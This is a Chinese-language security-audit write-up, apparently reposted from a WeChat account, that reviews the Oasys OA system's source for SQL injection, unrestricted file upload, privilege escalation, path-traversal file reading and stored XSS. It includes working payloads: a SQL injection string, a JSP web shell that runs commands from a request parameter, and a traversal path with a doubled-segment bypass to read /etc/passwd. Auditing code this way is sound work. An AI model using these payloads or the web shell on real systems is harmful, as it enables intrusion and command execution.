目录
环境搭建
sql注入
fastjson
任意文件上传
垂直越权
任意文件读取
存储xss
github下载oasys,安装数据库,修改密码,配置maven,idea启动
查看pom.xml文件,发现危险组建,fastjson,fileupload,猜测可能存在反序列化,文件上传漏洞。
sql注入
//进行逻辑判断,来根据那个排序,类型、状态、修改时间 传递了basekey参数
List<Map<String,Object>>sortMyNotice(Long userId, String baseKey, Integer type, Integer status, Integer time);
Ctrl + 单击 查找调用关系
也可以使用find usages
这里比较直接,一步跳转到控制器,这里大致分析下代码
uri映射路径是informlistpaging
是通过web参数进行传递
这里调用了setSomething,
setSomething(baseKey, type, status, time, icon, model);
跟进查看,只是进行判断不为空即可
if(!StringUtils.isEmpty(baseKey)){
model.addAttribute("baseKey", baseKey);
}
然后就是将数据存储在列表里
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
构造请求
通过右侧搜索,抓包获取到关键字,
get方式直接使用url方法,输入1有八条信息
查看xml层代码,发现有俩%%,加上%发现成功返回数据
<if test="baseKey !=null">
and n.title LIKE '%${baseKey}%'
</if>
输入1%‘or+1=1,显示22条,我记得模糊查询%%会自动省略吧
总共有两个mapper文件,另一个注入的也是basekey
大致流程和思路也是一样的
fastjson无漏洞
代码中总共调用了两处,且都是进行序列化。所以不会产生漏洞。
文件上传
原项目无法解析jsp添加以下依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>1.2</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
两种思路,关键字搜索file upload
二是找文件控制器
查看upload方法
获取文件后缀
文件命名为uuid.后缀
先存放tmp目录再到主目录
rootpath目录
attachment用来管理文件
可见 并没有对后缀进行判断
尝试上传下
%
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[1024];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
%>
从目录查找发现image里没有文件 而在attachment目录下
垂直越权
逻辑漏洞这快,主要关注 拦截器/过滤器或用户控制器
这里看了用户控制器主要是判断用户登陆,验证码问题
主要关注拦截器
前面代码大致是判断获取session信息
两个列表获取用户信息,直接从数据库中查询
获取路径和菜单url是否相等,永远返回true
剩下的代码匹配ip,日志啥的,整体没有对用户的操作做限制。
admin查看系统模块,抓包替换为低权限的
在或者直接低权限 账号访问接口地址
任意文件读取
搜索filepath
找半天没找到接口地址
往下翻看到了**
刚好也存在rootpath
path哪里会把/image替换为空,可以试试双写饶过
正常任意文件读取
../../../../../../etc/passwd
绕过
//image..//image..//image..//image..//image../etc/passwd
抓包测试
存储xss
首先先看过滤器,拦截器有没有对xss的关键字做黑名单,如果没有在审计
全局搜 RequestMapping 然后找参数,输入payload
或者见框就插
原文始发于微信公众号(轩公子谈技术):Oasys 系统审计